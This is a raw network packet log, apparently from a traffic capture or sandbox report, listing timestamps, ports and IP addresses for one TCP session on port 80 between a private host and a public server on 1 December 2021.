Dec 1, 2021 10:04:29.037401915 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037412882 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037419081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037436008 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037442923 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037462950 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037466049 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037480116 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037497044 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037508965 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037513018 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037530899 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037544966 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037565947 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.038150072 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.038172007 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.038250923 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.076960087 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.076987028 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.077132940 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.081899881 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.081928968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.082067013 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089072943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089118958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089148045 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089164972 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089180946 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089195967 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089210987 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089227915 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089226007 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089245081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089261055 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089277029 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089292049 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089294910 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089303970 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089308977 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089309931 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089328051 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089339018 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089343071 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089360952 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089375019 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.089378119 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.089420080 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095565081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095599890 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095623016 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095644951 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095668077 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095683098 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095699072 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095719099 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095731974 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095757008 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095769882 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095773935 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095807076 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095829010 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095834017 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095848083 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095870018 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095870972 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095889091 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095909119 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095917940 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095935106 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.095941067 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.095976114 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096000910 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096007109 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096035004 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096055031 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096056938 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096071005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096087933 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096103907 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096106052 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096120119 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096137047 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096143007 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096153975 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096167088 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096169949 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096187115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096204996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096215010 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096230030 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096246958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096254110 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096271992 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096278906 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096288919 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096306086 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096323013 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096334934 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096338034 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096354961 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096365929 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096371889 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096388102 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.096388102 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.096426964 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.135400057 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.135453939 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.135634899 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.140294075 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.140347958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.140445948 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147579908 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147627115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147675991 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147713900 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147752047 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147768021 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147790909 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147815943 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147823095 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147830009 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147874117 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147887945 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147912025 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147953033 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.147974968 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.147994041 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148030996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148045063 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.148070097 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148109913 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148122072 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.148147106 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148185968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148200035 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.148225069 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148263931 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.148279905 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.154864073 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.154911041 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.154948950 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.154987097 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.154989004 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155025959 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155025959 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155064106 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155082941 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155102968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155141115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155157089 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155179977 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155219078 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155232906 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155256987 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155294895 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155308962 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155333996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155370951 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155384064 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155409098 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155447960 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155462980 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155487061 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155525923 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155540943 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155564070 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155602932 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155616999 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155642033 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155678988 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155694008 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155718088 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155756950 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155770063 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155797005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155837059 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155853033 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155875921 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155915976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155936956 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.155955076 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.155991077 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156007051 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156029940 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156069040 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156083107 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156106949 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156147003 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156164885 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156183958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156223059 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156238079 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156261921 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156299114 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156327963 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156337976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156378031 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156393051 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.156416893 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.156469107 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.193974018 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.194040060 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.194237947 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.198739052 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.198797941 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.198905945 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.206568003 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206625938 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206665993 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206703901 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206742048 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206779957 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206808090 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.206820965 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206845045 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.206851959 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.206860065 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206902981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206906080 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.206943035 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.206979036 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207005024 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.207017899 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207057953 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207072973 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.207097054 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207135916 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207149982 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.207174063 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207214117 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207227945 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.207254887 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.207309008 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.214951992 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215013981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215054989 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215095043 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215131998 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215171099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215188980 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215209007 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215226889 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215233088 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215246916 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215286970 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215317965 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215323925 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215367079 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215383053 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215406895 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215444088 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215462923 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215485096 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215523005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215548992 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215575933 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215614080 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215634108 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215651989 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215692043 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215709925 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215730906 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215769053 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215792894 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215806961 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215847015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215862989 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215886116 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215924978 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.215945959 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.215964079 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216001987 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216021061 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216042995 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216080904 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216104031 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216119051 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216157913 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216176033 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216195107 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216233969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216250896 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216274023 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216315985 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216336966 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216356993 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216393948 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216413975 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216434002 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216474056 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216490984 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216511011 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216548920 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216573000 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216588020 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216626883 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216643095 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.216666937 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216705084 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.216722012 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.230134964 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.252404928 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.252445936 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.252635002 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.257019997 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.257045031 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.257093906 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.265340090 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265391111 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265414000 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265429974 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265444994 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265460968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265464067 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.265476942 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265495062 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265511990 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265527964 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265543938 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265559912 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265575886 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265592098 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265607119 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265620947 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265638113 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265654087 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265669107 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.265908003 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275130033 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275233984 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275263071 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275290966 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275316000 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275343895 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275369883 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275393963 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275402069 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275422096 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275439978 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275444984 CET	49755	80	192.168.2.3	95.213.165.249
